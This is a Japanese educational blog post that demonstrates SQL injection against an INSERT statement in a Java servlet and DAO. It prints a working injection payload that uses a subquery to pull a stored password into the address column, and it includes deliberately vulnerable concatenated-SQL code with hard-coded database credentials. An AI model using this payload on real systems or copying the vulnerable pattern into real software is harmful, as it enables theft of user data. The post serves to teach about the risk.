本記事では「SQLインジェクション」の対策をしていないと、どのような被害に遭うのか具体的なINSERT文への攻撃例を紹介していきます。
スポンサーリンク
目次
INSERT文への「SQLインジェクション」攻撃例
INSERT文への簡単な攻撃例を紹介します。
よくある登録画面に以下の文字列を入力して「登録」します。
- 名前:テスト名前', (select user_password from sampledb.user_password where id='1' limit 0,1)) -- 終わり
- 住所:任意の文字列(空でも平気)※画面例は空
次に登録内容を画面に表示させると、住所の所に登録していない値が表示されています。
この「password01」というのは「SQLインジェクション」攻撃により情報漏洩したデータです。
スポンサーリンク
SQLインジェクション攻撃を検証するための事前準備
SQLインジェクション攻撃を検証するための、事前準備は以下の通りです。
※Javaで簡易的なサーブレットで作成しています。
データベース
前提条件として以下の2つのテーブルがあるとします。CREATE文は以下の通り。
◆ユーザー情報TBL(users)
CREATE TABLE `sampledb`.`users` ( `id` INT NOT NULL AUTO_INCREMENT, `name` VARCHAR(100) NULL, `address` VARCHAR(255) NULL, PRIMARY KEY (`id`));
◆ユーザーパスワードTBL(user_password)
CREATE TABLE `sampledb`.`user_password` ( `id` INT NOT NULL AUTO_INCREMENT, `user_id` INT NOT NULL, `user_password` VARCHAR(255) NOT NULL, PRIMARY KEY (`id`));
そして「user_password」テーブルには以下のデータを作成しておきます。※このデータを「SQLインジェクション」の攻撃で盗み取ることを目的とします。
※通常パスワードは「ハッシュ化」してDBに格納するのが一般的ですが、ここではあえて平文で登録しています。
id | user_id | user_password |
1 | 1 | password01 |
HTML画面
「登録画面」と「登録完了画面」を用意。「登録画面」で入力し登録された結果を「登録完了画面」に表示する流れです。
◆登録画面イメージ図
◆登録画面ソースコード
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>登録画面</title> </head> <body> <form action="/SampleProject/AddServlet" method="post"> 名前:<input type="text" name="name" size="100"/><br /> 住所:<input type="text" name="address" size="100" /><br /> <input type="submit" value="登録" /> </form> </body> </html>
◆登録完了画面イメージ図
◆登録完了画面ソースコード
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
// Servletのデータ受け取り
request.setCharacterEncoding("UTF-8");
String id = (String) request.getAttribute("id");
String name = (String) request.getAttribute("name");
String address = (String) request.getAttribute("address");
%>
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>登録完了</title>
</head>
<body>
以下の内容で登録されました。<br />
ID:<%=id%><br />
名前:<%=name%><br />
住所:<%=address%><br /><br />
<a href="http://localhost:8080/SampleProject/add.jsp">登録画面へ</a>
</body>
</html>
サーブレット
◆登録用サーブレット
package servlet;
import java.io.IOException;
import javax.servlet.RequestDispatcher;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import dao.UsersDao;
import entity.Users;
/**
* 登録処理サーブレット
*/
@WebServlet("/AddServlet")
public class AddServlet extends HttpServlet {
private static final long serialVersionUID = 1L;
public AddServlet() {
super();
}
/**
* 登録処理
*/
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
request.setCharacterEncoding("UTF-8");
response.setContentType("text/html; charset=UTF-8");
String name = request.getParameter("name");
String address = request.getParameter("address");
UsersDao dao = new UsersDao();
// データ登録
String id = dao.add(name, address);
if (id != null) {
// 登録したデータを抽出
Users users = dao.getOne(id);
request.setAttribute("id", users.getId());
request.setAttribute("name", users.getName());
request.setAttribute("address", users.getAddress());
}
// 画面遷移
RequestDispatcher dispatcher = request.getRequestDispatcher("index.jsp");
dispatcher.forward(request, response);
}
}
◆エンティティ
package entity;
import java.io.Serializable;
public class Users implements Serializable {
private String id;
private String name;
private String address;
public String getId() {
return id;
}
public void setId(String id) {
this.id = id;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getAddress() {
return address;
}
public void setAddress(String address) {
this.address = address;
}
}
◆データアクセス
package dao;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import entity.Users;
public class UsersDao {
private Connection getConnection() throws Exception {
Class.forName("com.mysql.jdbc.Driver");
Connection conn = DriverManager.getConnection("jdbc:mysql://localhost/sampledb?characterEncoding=UTF-8&serverTimezone=Asia/Tokyo","root","password");
conn.setAutoCommit(false);
return conn;
}
/**
* データ取得
*/
public Users getOne(String id) {
Users users = null;
try {
Connection conn = null;
PreparedStatement ps = null;
ResultSet rs = null;
try {
conn = getConnection();
String sql = "SELECT * FROM sampledb.users WHERE id = '" + id + "';";
ps = conn.prepareStatement(sql);
rs = ps.executeQuery();
if (rs.next()) {
users = new Users();
users.setId(rs.getString("id"));
users.setName(rs.getString("name"));
users.setAddress(rs.getString("address"));
}
} catch (SQLException e){
if (conn != null) {
conn.rollback();
}
System.out.println(e);
}
finally {
if (conn != null) {
conn.close();
}
if (ps != null) {
ps.close();
}
if (rs != null) {
rs.close();
}
}
} catch (Exception e){
System.out.println(e);
}
return users;
}
/**
* データ登録
*/
public String add(String name, String address) {
String autoIncKey = null;
try {
Connection conn = null;
PreparedStatement ps = null;
ResultSet rs = null;
try {
conn = getConnection();
String sql = "INSERT INTO users (name,address) VALUES ('" + name + "','" + address +"')";
ps = conn.prepareStatement(sql,Statement.RETURN_GENERATED_KEYS);
ps.executeUpdate();
rs = ps.getGeneratedKeys();
if (rs.next()) {
autoIncKey = String.valueOf(rs.getInt(1));
}
conn.commit();
} catch (SQLException e){
if (conn != null) {
conn.rollback();
}
System.out.println(e);
}
finally {
if (conn != null) {
conn.close();
}
if (ps != null) {
ps.close();
}
if (rs != null) {
rs.close();
}
}
} catch (Exception e){
System.out.println(e);
}
return autoIncKey;
}
}
スポンサーリンク
INSERT文への「SQLインジェクション」攻撃の解説
登録画面で以下のデータを入力し登録します。
- 名前:テスト名前', (select user_password from sampledb.user_password where id='1' limit 0,1)) -- 終わり
- 住所:任意の文字列(空でも平気)※画面例は空
ユーザー情報TBL(users)へのINSERT文は以下です。
INSERT INTO users (name,address) VALUES ('" + name + "','" + address +"')
このINSERT文に画面から入力されたデータを代入すると以下となります。
INSERT INTO users (name,address) VALUES ('テスト名前', (select user_password from sampledb.user_password where id='1' limit 0,1)) -- 終わり','')
- まず「カラム:name」には「テスト名前」が登録されます。
- 次に「カラム:address」には「(select user_password from sampledb.user_password where id='1' limit 0,1)」という文字列が入っています。この文字列は、ユーザーパスワードTBL(user_password)から「id = 1」の条件と一致する「user_password」を取得するサブクエリです。
- その結果、「カラム:address」には「password01」が登録されます。
- そして、INSERT文の最後にある「-- 終わり','')」という文字列。これは「-- 」から後ろはコメントアウトという意味です。
結果、実際に実行されたINSERT文(コメントアウト部分を除く)は、以下と同じです。
INSERT INTO users (name,address) VALUES ('テスト名前', (select user_password from sampledb.user_password where id='1' limit 0,1))
そして、登録内容を閲覧する画面で登録データを見ると、住所の所に「password01」が表示される流れです。
これで、他人の個人情報(※今回の例はパスワード)を盗み取る事に成功。
このように「テーブル名」や「カラム名」が分かっていれば「サブクエリ」を使い簡単に個人情報を盗み取る事が可能であり、深刻な被害にあう危険性があるのです。
SQLインジェクションとは | 具体的な攻撃例と対策方法
続きを見る